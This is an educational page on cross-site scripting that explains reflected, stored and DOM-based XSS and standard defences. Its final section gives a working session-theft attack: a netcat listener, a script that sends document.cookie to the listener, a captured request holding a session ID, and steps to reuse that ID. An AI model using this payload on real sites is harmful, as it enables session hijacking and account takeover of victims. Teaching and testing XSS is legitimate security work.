Cross Site Scripting

Cross-Site Scripting (XSS) is a common web application security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. XSS occurs when an application fails to properly sanitize user-supplied input, allowing attackers to execute scripts in the context of a victim's browser. There are several types of XSS attacks, including reflected XSS, stored XSS, and DOM-based XSS.

1. Reflected XSS: Reflected XSS occurs when the malicious script is injected into the web application and then reflected back to the user by the server. The injected script is included in the response from the server and executed in the victim's browser. Reflected XSS attacks often involve sending a link containing the malicious payload to the victim, who then unknowingly executes the script when clicking on the link.

Example of Reflected XSS: Consider a search form on a website where the user input is directly echoed back in the response without proper validation:

<form action="/search" method="GET">
    <input type="text" name="query" />
    <button type="submit">Search</button>
</form>

If an attacker enters a malicious script in the search query parameter, such as <script>alert('XSS')</script>, and the server echoes it back in the response, the script will be executed in the victim's browser when they view the search results.

2. Stored XSS: Stored XSS occurs when the malicious script is stored on the server, such as in a database, and then executed when other users access the affected page. Attackers typically exploit vulnerabilities in user input fields, comment sections, or message boards to store the malicious script on the server. When other users view the page containing the stored script, it is executed in their browsers.

Example of Stored XSS: Consider a web application with a comment section where users can submit comments:

<div class="comment">
    <p><?php echo $comment; ?></p>
</div>

If an attacker submits a comment containing a malicious script, such as <script>alert('XSS')</script>, and the server stores it in the database without proper validation, the script will be executed for all users who view the comment section.

3. DOM-based XSS: DOM-based XSS occurs when the malicious script is executed in the victim's browser based on manipulation of the Document Object Model (DOM). Unlike reflected and stored XSS, the payload is not sent to the server but is instead processed client-side. Attackers exploit vulnerabilities in client-side scripts or user-controlled data within the DOM to execute the malicious script.

Example of DOM-based XSS: Consider a web application that uses JavaScript to dynamically update the page content based on user input:

var urlParams = new URLSearchParams(window.location.search);
var query = urlParams.get('query');
document.getElementById('search-results').innerHTML = 'Search results for: ' + query;

If the application does not properly sanitize the query parameter before updating the DOM, an attacker could craft a URL with a malicious script, such as http://example.com/search?query=<script>alert('XSS')</script>, which would be executed in the victim's browser when they view the search results.

Prevention of XSS Attacks:

To prevent XSS attacks, web developers should implement the following best practices:

1. Input Validation and Sanitization: Always validate and sanitize user input before processing it. Use appropriate sanitization functions or libraries to remove or escape potentially malicious characters.

2. Output Encoding: Encode user input before outputting it to prevent it from being interpreted as HTML or JavaScript code. Use output encoding functions such as htmlspecialchars() or frameworks that automatically perform output encoding.

3. Content Security Policy (CSP): Implement a Content Security Policy to restrict the types of content that can be executed on the page, such as scripts, stylesheets, and inline event handlers.

4. Use HTTPOnly and Secure Cookies: Set the HTTPOnly and Secure flags on cookies to prevent them from being accessed by client-side scripts and transmitted over insecure connections.

5. Regular Security Audits: Conduct regular security audits and penetration testing to identify and remediate XSS vulnerabilities and other security issues proactively.

Steal target session using xss

Start Netcat as listener

nc -nvlp 1337

Malicious javascript

<script>
  // Create an image element to send the session cookies to your server
  var img = new Image();
  img.src = 'http://localhost:1337/steal_cookies.php?data=' + document.cookie;
</script>

One-liner script

<script>var img = new Image();img.src = 'http://localhost:1337/steal_cookies.php?data=' + document.cookie;</script>

Result

Connection from 127.0.0.1:65202
GET /steal_cookies.php?data=page=page1.php;%20PHPSESSID=30jqhu0cq1jccd5b13j33r3o7f HTTP/1.1
Host: localhost:1337
Connection: keep-alive
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: http://localhost/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,kk;q=0.7
Cookie: page=page1.php; PHPSESSID=30jqhu0cq1jccd5b13j33r3o7f

Copy PHPSESID and paste it on your browser using cookie editor or developer tools.